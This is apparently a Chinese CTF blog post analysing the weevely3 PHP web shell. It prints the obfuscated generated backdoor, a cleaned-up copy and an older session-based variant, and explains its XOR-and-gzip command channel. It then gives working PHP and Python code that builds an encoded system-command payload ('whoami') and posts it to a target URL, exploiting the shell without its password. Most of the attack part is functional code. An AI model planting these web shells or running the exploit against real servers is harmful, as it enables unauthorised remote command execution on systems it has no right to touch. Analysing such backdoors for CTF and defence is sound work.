水文预警
补了很久之前的一个坑,写的很水(大佬不用浪费时间看这篇了
原来还是在某年的 xman 题目中见到的 weevely 后门,苦于不懂在不知道密码的情况下如何利用,一直鸽着,后来有人问这个问题,才简单分析了下。
来源
- https://github.com/epinna/weevely3
- kali2019
生成的源码
在生成的后门最后一句下断或者直接输出,可以看到由 create_function
注册的匿名后门函数。
<?php
$Y='{$o.=$Pt{$i}^$k{PP$j}P;}}retPurn $o;}Pif(@preg_maPtch("/$khP(.+)$kPf/P",@file_gPePtP_contents(PP"php:/';
$j=str_replace('J','','JJcreate_JfJunJctJion');
$u='contentPs();@ob_enPd_Pclean();PP$r=P@base6P4_encode(@Px(@gPzcompress($Po),$k));Pprint("P$p$kh$Pr$kf");}';
$x='/input"P),$m)==1){@Pob_Pstart();P@ePval(@gzuPncompPresPs(@x(@bPPase64_Pdecode($Pm[1]),P$Pk)));P$o=@ob_get_';
$Z=',$k){$c=Pstrlen($Pk)P;$l=strlPen($t);P$o=P"";forP($Pi=0;$Pi<$l;){for($jP=P0;($j<$cP&&$i<$l);$jP+PP+,$i++)';
$C='$k="7Pccf819P2";$PkPh="528P2714P13977";$kf="f5415P27062PPa9";$p="ieP3xNVP9ea8twe7wPl";fuPnPction x($Pt';
$U=str_replace('P','',$C.$Z.$Y.$x.$u);
$E=$j('',$U);
$E();
?>
整理后
<?php
$k = "7ccf8192";
$kh = "528271413977";
$kf = "f541527062a9";
$p = "ie3xNV9ea8twe7wl";
function x($t, $k)
{
$c = strlen($k);
$l = strlen($t);
$o = "";
for ($i = 0; $i < $l;) {
for ($j = 0; $j < $c && $i < $l; $j++, $i++) {
$o .= $t[$i] ^ $k[$j];
}
}
return $o;
}
if (@preg_match("/{$kh}(.+){$kf}/", @file_get_contents("php://input"), $m) == 1) {
@ob_start();
@eval(@gzuncompress(@x(@base64_decode($m[1]), $k)));
$o = @ob_get_contents();
@ob_end_clean();
$r = @base64_encode(@x(@gzcompress($o), $k));
print "{$p}{$kh}{$r}{$kf}";
}
这一版(2019.6)的后门相比于两年前的那一版变化有点大,相对来说分析起来简单了很多,但是爆破密码需要爆破完整的 MD5,可以在文末看一下原来的版本。
功能
先观察核心功能,一定是这句 @eval(@gzuncompress(@x(@base64_decode($m[1]), $k)));
,对输入进行操作后 eval 执行。
首先 $m
由 preg_match
匹配得到,然后解码,x 操作,解压,最后执行。
嵌套在外面的是一个少见的 rce 方式,ob_start,这里不再多讲,之后将执行结果放在 $o
中,经过处理后返回。
整个逻辑很简单,只有一个函数需要分析。
<?php
$k = "7ccf8192";
$kh = "528271413977";
$kf = "f541527062a9";
$p = "ie3xNV9ea8twe7wl";
function x($t, $k="7ccf8192")
{
$c = strlen($k);
$l = strlen($t);
$o = "";
for ($i = 0; $i < $l;) {
for ($j = 0; $j < $c && $i < $l; $j++, $i++) {
$o .= $t[$i] ^ $k[$j];
}
}
return $o;
}
print_r(x(x('str2encrypt')));
可以发现输出为str2encrypt
,显然是一个异或加密,而且密码也给了出来。那后门的密码在哪呢?前三个变量看起来似乎像是 md5,经过对比确实是我们后门密码的 md5 值。
将其中两行改为如下形式,以查看 ifconfig 为例,我们看一下输出结果。
$str=@gzuncompress(@x(@base64_decode($m[1]), $k));
@eval($str);
$m
是一个数组,如下:
0:"528271413977T/8oqHD4FeBntJSvdBtzHp23bCl1O3cfHShOtE/4dhz6Lq5NEWfuhkErTkzyHrMdfU6rSRL49XngU2PsLWYvpZOFCc5flxzV0MYGwBMp4JsuYXZlONvQLu8f541527062a9"
1:"T/8oqHD4FeBntJSvdBtzHp23bCl1O3cfHShOtE/4dhz6Lq5NEWfuhkErTkzyHrMdfU6rSRL49XngU2PsLWYvpZOFCc5flxzV0MYGwBMp4JsuYXZlONvQLu8"
$str
为 "chdir('/var/www/html');@error_reporting(0);@system('ifconfig 2>&1');"
,$o
便是输出结果,$r
是处理后的结果。
从上面来看,@gzuncompress(@x(@base64_decode($m[1]), $k))
返回了 php 语句,那我们如果要在不知道密码的情况下利用这个后门,除了反查 md5,就是构造请求了。
很显然,构造如下请求即可:
<?php
$k = "7ccf8192";
$kh = "528271413977";
$kf = "f541527062a9";
function x($t, $k="7ccf8192")
{
$c = strlen($k);
$l = strlen($t);
$o = "";
for ($i = 0; $i < $l;) {
for ($j = 0; $j < $c && $i < $l; $j++, $i++) {
$o .= $t[$i] ^ $k[$j];
}
}
return $o;
}
$req="@system('whoami');";
$r_en=base64_encode(x(gzcompress($req),$k));
$ret=$kh.$r_en.$kf;
python
import requests
burp0_url = "http://url/target.php"
burp0_headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:52.0) Gecko/20100101 Firefox/52.0", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Content-Type": "application/x-www-form-urlencoded"}
burp0_data="528271413977T/8QTpYdF3v6tjNJ9/l2/vo3tNI+MQboMSY=f541527062a9"
requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
发现需要删去几个请求头发可以获得正常请求,暂不知为何。
不过解密仍然需要 php 来处理。
TODO python script with php or python implement
不过线下赛应该够用了。
之前的版本
这个版本大概是 2017 年的时候使用的,具体什么时间更新到上文的方式就不太清楚了。
<?php
$kh = "a8bb";
$kf = "c44a";
function x($t, $k) {
$c = strlen($k);
$l = strlen($t);
$o = "";
for ($i = 0; $i < $l;) {
for ($j = 0; ($j < $c && $i < $l); $j++, $i++) {
$o.= $t {$i} ^ $k {$j};
}
}
return $o;
}
$r = $_SERVER;
$rr = @$r["HTTP_REFERER"];
$ra = @$r["HTTP_ACCEPT_LANGUAGE"];
if ($rr && $ra) {
$u = parse_url($rr);
parse_str($u["query"], $q);
$q = array_values($q);
preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/", $ra, $m);
if ($q && $m) {@session_start();
$s = &$_SESSION;
$ss = "substr";
$sl = "strtolower";
$i = $m[1][0].$m[1][1];
$h = $sl($ss(md5($i.$kh), 0, 3));
$f = $sl($ss(md5($i.$kf), 0, 3));
$p = "";
for ($z = 1; $z < count($m[1]); $z++) $p. = $q[$m[2][$z]];
if (strpos($p, $h) === 0) {
$s[$i] = "";
$p = $ss($p, 3);
}
if (array_key_exists($i, $s)) {
$s[$i].= $p;
$e = strpos($s[$i], $f);
if ($e) {
$k = $kh.$kf;
ob_start();
@eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/", "/-/"), array("/", "+"), $ss($s[$i], 0, $e))), $k)));
$o = ob_get_contents();
ob_end_clean();
$d = base64_encode(x(gzcompress($o), $k));
print("<$k>$d</$k>");@session_destroy();
}
}
}
}
?>
只使用了八位 md5,可以爆破 md5 来利用,但需要相应版本的 weevely。
具体分析可参考:
http://www.yqxiaojunjie.com/index.php/archives/256/